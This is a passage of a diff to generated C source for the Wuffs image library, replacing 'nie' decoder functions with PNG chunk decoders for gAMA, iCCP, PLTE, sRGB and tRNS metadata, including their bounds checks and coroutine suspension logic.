a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_nie__error__truncated_input); +- goto exit; ++ if (self->private_impl.f_chunk_length != 4u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length = 0u; ++ self->private_impl.f_metadata_flavor = 5u; ++ self->private_impl.f_metadata_fourcc = 1195461953u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint64_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_gama.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_gama.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 24) { ++ t_0 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } + } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ self->private_impl.f_metadata_x = t_0; + } ++ self->private_impl.f_metadata_y = 0u; ++ self->private_impl.f_metadata_z = 0u; + ++ goto ok; + ok: +- self->private_impl.p_decode_frame_config[0] = 0; ++ self->private_impl.p_decode_gama = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ self->private_impl.p_decode_gama = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } ++ + return status; + } + +-// -------- func nie.decoder.do_decode_frame_config ++// -------- func png.decoder.decode_iccp + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_nie__decoder__do_decode_frame_config( +- wuffs_nie__decoder* self, +- wuffs_base__frame_config* a_dst, ++wuffs_png__decoder__decode_iccp( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + ++ uint8_t v_c8 = 0; ++ + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -51351,62 +64529,63 @@ wuffs_nie__decoder__do_decode_frame_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_iccp; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence == 32u) { +- } else if (self->private_impl.f_call_sequence < 32u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ while (true) { ++ if (self->private_impl.f_chunk_length <= 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_nie__decoder__do_decode_image_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ self->private_impl.f_chunk_length -= 1u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; + } +- if (status.repr) { +- goto suspend; ++ if (v_c8 == 0u) { ++ break; + } +- } else if (self->private_impl.f_call_sequence == 40u) { +- if (16u != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_restart); +- goto exit; ++ } ++ if (self->private_impl.f_chunk_length <= 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length -= 1u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- } else if (self->private_impl.f_call_sequence == 64u) { +- self->private_impl.f_call_sequence = 96u; +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; + } +- if (a_dst != NULL) { +- wuffs_base__frame_config__set( +- a_dst, +- wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height), +- ((wuffs_base__flicks)(0u)), +- 0u, +- 16u, +- 0u, +- false, +- false, +- 0u); ++ if (v_c8 != 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); ++ goto exit; + } +- self->private_impl.f_call_sequence = 64u; ++ self->private_impl.f_metadata_is_zlib_compressed = true; ++ self->private_impl.f_metadata_flavor = 4u; ++ self->private_impl.f_metadata_fourcc = 1229144912u; ++ self->private_impl.f_metadata_x = 0u; ++ self->private_impl.f_metadata_y = 0u; ++ self->private_impl.f_metadata_z = 0u; + ++ goto ok; + ok: +- self->private_impl.p_do_decode_frame_config[0] = 0; ++ self->private_impl.p_decode_iccp = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_iccp = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +@@ -51417,182 +64596,119 @@ wuffs_nie__decoder__do_decode_frame_config( + return status; + } + +-// -------- func nie.decoder.decode_frame ++// -------- func png.decoder.decode_plte + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__decode_frame( +- wuffs_nie__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 3)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; ++static wuffs_base__status ++wuffs_png__decoder__decode_plte( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_frame(self, +- a_dst, +- a_src, +- a_blend, +- a_workbuf, +- a_opts); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_nie__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++ uint32_t v_num_entries = 0; ++ uint32_t v_i = 0; ++ uint32_t v_argb = 0; + +- ok: +- self->private_impl.p_decode_frame[0] = 0; +- goto exit; ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } + +- goto suspend; +- suspend: +- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; +- +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ uint32_t coro_susp_point = self->private_impl.p_decode_plte; ++ if (coro_susp_point) { ++ v_num_entries = self->private_data.s_decode_plte.v_num_entries; ++ v_i = self->private_data.s_decode_plte.v_i; + } +- return status; +-} +- +-// -------- func nie.decoder.do_decode_frame +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_nie__decoder__do_decode_frame( +- wuffs_nie__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence == 64u) { +- } else if (self->private_impl.f_call_sequence < 64u) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_nie__decoder__do_decode_frame_config(self, NULL, a_src); +- if (status.repr) { +- goto suspend; +- } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- self->private_impl.f_dst_x = 0u; +- self->private_impl.f_dst_y = 0u; +- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, +- wuffs_base__pixel_buffer__pixel_format(a_dst), +- wuffs_base__pixel_buffer__palette(a_dst), +- wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), +- wuffs_base__utility__empty_slice_u8(), +- a_blend); +- if ( ! wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; ++ if ((self->private_impl.f_chunk_length > 768u) || ((self->private_impl.f_chunk_length % 3u) != 0u)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; + } +- while (true) { +- v_status = wuffs_nie__decoder__swizzle(self, a_dst, a_src); +- if (wuffs_base__status__is_ok(&v_status)) { +- break; +- } else if (v_status.repr != wuffs_nie__note__internal_note_short_read) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; ++ v_num_entries = (((uint32_t)(self->private_impl.f_chunk_length)) / 3u); ++ self->private_impl.f_chunk_length = 0u; ++ while (v_i < v_num_entries) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { ++ t_0 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); ++ iop_a_src += 3; ++ } else { ++ self->private_data.s_decode_plte.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_plte.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 16) { ++ t_0 = ((uint32_t)(*scratch >> 40)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } + } +- goto ok; ++ v_argb = t_0; + } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ v_argb |= 4278190080u; ++ self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); ++ self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); ++ self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); ++ self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); ++ v_i += 1u; ++ } ++ while (v_i < 256u) { ++ self->private_data.f_src_palette[((4u * v_i) + 0u)] = 0u; ++ self->private_data.f_src_palette[((4u * v_i) + 1u)] = 0u; ++ self->private_data.f_src_palette[((4u * v_i) + 2u)] = 0u; ++ self->private_data.f_src_palette[((4u * v_i) + 3u)] = 255u; ++ v_i += 1u; + } +- self->private_impl.f_call_sequence = 96u; + ++ goto ok; + ok: +- self->private_impl.p_do_decode_frame[0] = 0; ++ self->private_impl.p_decode_plte = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_plte = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_plte.v_num_entries = v_num_entries; ++ self->private_data.s_decode_plte.v_i = v_i; + + goto exit; + exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ + return status; + } + +-// -------- func nie.decoder.swizzle ++// -------- func png.decoder.decode_srgb + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_nie__decoder__swizzle( +- wuffs_nie__decoder* self, +- wuffs_base__pixel_buffer* a_dst, ++wuffs_png__decoder__decode_srgb( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint32_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_bytes_per_row = 0; +- uint32_t v_src_bytes_per_pixel = 0; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint64_t v_i = 0; +- uint64_t v_j = 0; +- uint64_t v_n = 0; +- + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -51604,66 +64720,39 @@ wuffs_nie__decoder__swizzle( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); +- goto exit; +- } +- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); +- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- while (true) { +- if (self->private_impl.f_dst_x == self->private_impl.f_width) { +- self->private_impl.f_dst_x = 0u; +- self->private_impl.f_dst_y += 1u; +- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { +- break; +- } +- } +- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); +- } +- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); +- if (v_i >= ((uint64_t)(v_dst.len))) { +- v_src_bytes_per_pixel = 4u; +- if (self->private_impl.f_pixfmt == 2164308923u) { +- v_src_bytes_per_pixel = 8u; +- } +- v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); +- v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); +- v_j = v_n; +- while (v_j >= 8u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { +- iop_a_src += (v_src_bytes_per_pixel * 8u); +- } +- v_j -= 8u; +- } +- while (v_j > 0u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { +- iop_a_src += (v_src_bytes_per_pixel * 1u); +- } +- v_j -= 1u; +- } +- } else { +- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( +- &self->private_impl.f_swizzler, +- wuffs_base__slice_u8__subslice_i(v_dst, v_i), +- wuffs_base__pixel_buffer__palette(a_dst), +- &iop_a_src, +- io2_a_src); ++ uint32_t coro_susp_point = self->private_impl.p_decode_srgb; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_chunk_length != 1u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; + } +- if (v_n == 0u) { +- status = wuffs_base__make_status(wuffs_nie__note__internal_note_short_read); +- goto ok; ++ self->private_impl.f_chunk_length = 0u; ++ self->private_impl.f_metadata_flavor = 5u; ++ self->private_impl.f_metadata_fourcc = 1397901122u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t t_0 = *iop_a_src++; ++ self->private_impl.f_metadata_x = t_0; + } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); ++ self->private_impl.f_metadata_y = 0u; ++ self->private_impl.f_metadata_z = 0u; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_srgb = 0; ++ goto exit; + } +- status = wuffs_base__make_status(NULL); +- goto ok; + +- ok: ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_srgb = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ + goto exit; + exit: + if (a_src && a_src->data.ptr) { +@@ -51673,131 +64762,199 @@ wuffs_nie__decoder__swizzle( + return status; + } + +-// -------- func nie.decoder.frame_dirty_rect +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_nie__decoder__frame_dirty_rect( +- const wuffs_nie__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- +- return wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height); +-} +- +-// -------- func nie.decoder.num_animation_loops ++// -------- func png.decoder.decode_trns + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_nie__decoder__num_animation_loops( +- const wuffs_nie__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} ++static wuffs_base__status ++wuffs_png__decoder__decode_trns( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-// -------- func nie.decoder.num_decoded_frame_configs ++ uint32_t v_i = 0; ++ uint32_t v_n = 0; ++ uint64_t v_u = 0; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_nie__decoder__num_decoded_frame_configs( +- const wuffs_nie__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } + +- if (self->private_impl.f_call_sequence > 32u) { +- return 1u; ++ uint32_t coro_susp_point = self->private_impl.p_decode_trns; ++ if (coro_susp_point) { ++ v_i = self->private_data.s_decode_trns.v_i; ++ v_n = self->private_data.s_decode_trns.v_n; + } +- return 0u; +-} +- +-// -------- func nie.decoder.num_decoded_frames ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_nie__decoder__num_decoded_frames( +- const wuffs_nie__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ if (self->private_impl.f_color_type == 0u) { ++ self->private_impl.choosy_filter_and_swizzle = ( ++ &wuffs_png__decoder__filter_and_swizzle_tricky); ++ if (self->private_impl.f_depth <= 8u) { ++ self->private_impl.f_dst_pixfmt = 2164295816u; ++ self->private_impl.f_src_pixfmt = 2164295816u; ++ } else { ++ self->private_impl.f_dst_pixfmt = 2164308923u; ++ self->private_impl.f_src_pixfmt = 2164308923u; ++ } ++ if (self->private_impl.f_chunk_length != 2u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length = 0u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint64_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_0 = ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_trns.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_trns.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 8) { ++ t_0 = ((uint64_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ } ++ v_u = t_0; ++ } ++ if (self->private_impl.f_depth <= 1u) { ++ self->private_impl.f_remap_transparency = (((v_u & 1u) * 16777215u) | 4278190080u); ++ } else if (self->private_impl.f_depth <= 2u) { ++ self->private_impl.f_remap_transparency = (((v_u & 3u) * 5592405u) | 4278190080u); ++ } else if (self->private_impl.f_depth <= 4u) { ++ self->private_impl.f_remap_transparency = (((v_u & 15u) * 1118481u) | 4278190080u); ++ } else if (self->private_impl.f_depth <= 8u) { ++ self->private_impl.f_remap_transparency = (((v_u & 255u) * 65793u) | 4278190080u); ++ } else { ++ self->private_impl.f_remap_transparency = ((v_u * 4295032833u) | 18446462598732840960u); ++ } ++ } else if (self->private_impl.f_color_type == 2u) { ++ self->private_impl.choosy_filter_and_swizzle = ( ++ &wuffs_png__decoder__filter_and_swizzle_tricky); ++ if (self->private_impl.f_depth <= 8u) { ++ self->private_impl.f_dst_pixfmt = 2164295816u; ++ self->private_impl.f_src_pixfmt = 2164295816u; ++ } else { ++ self->private_impl.f_dst_pixfmt = 2164308923u; ++ self->private_impl.f_src_pixfmt = 2164308923u; ++ } ++ if (self->private_impl.f_chunk_length != 6u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length = 0u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint64_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 6)) { ++ t_1 = ((uint64_t)(wuffs_base__peek_u48be__no_bounds_check(iop_a_src))); ++ iop_a_src += 6; ++ } else { ++ self->private_data.s_decode_trns.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_trns.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); ++ if (num_bits_1 == 40) { ++ t_1 = ((uint64_t)(*scratch >> 16)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)); ++ } ++ } ++ v_u = t_1; ++ } ++ if (self->private_impl.f_depth <= 8u) { ++ self->private_impl.f_remap_transparency = ((255u & (v_u >> 0u)) | ++ (65280u & (v_u >> 8u)) | ++ (16711680u & (v_u >> 16u)) | ++ 4278190080u); ++ } else { ++ self->private_impl.f_remap_transparency = (v_u | 18446462598732840960u); ++ } ++ } else if (self->private_impl.f_color_type == 3u) { ++ self->private_impl.f_dst_pixfmt = 2164523016u; ++ self->private_impl.f_src_pixfmt = 2164523016u; ++ if (self->private_impl.f_chunk_length > 256u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ v_n = ((uint32_t)(self->private_impl.f_chunk_length)); ++ self->private_impl.f_chunk_length = 0u; ++ while (v_i < v_n) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ self->private_data.f_src_palette[((4u * v_i) + 3u)] = t_2; ++ } ++ v_i += 1u; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } + +- if (self->private_impl.f_call_sequence > 64u) { +- return 1u; ++ goto ok; ++ ok: ++ self->private_impl.p_decode_trns = 0; ++ goto exit; + } +- return 0u; +-} +- +-// -------- func nie.decoder.restart_frame + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__restart_frame( +- wuffs_nie__decoder* self, +- uint64_t a_index, +- uint64_t a_io_position) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_trns = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_trns.v_i = v_i; ++ self->private_data.s_decode_trns.v_n = v_n; + +- if (self->private_impl.f_call_sequence < 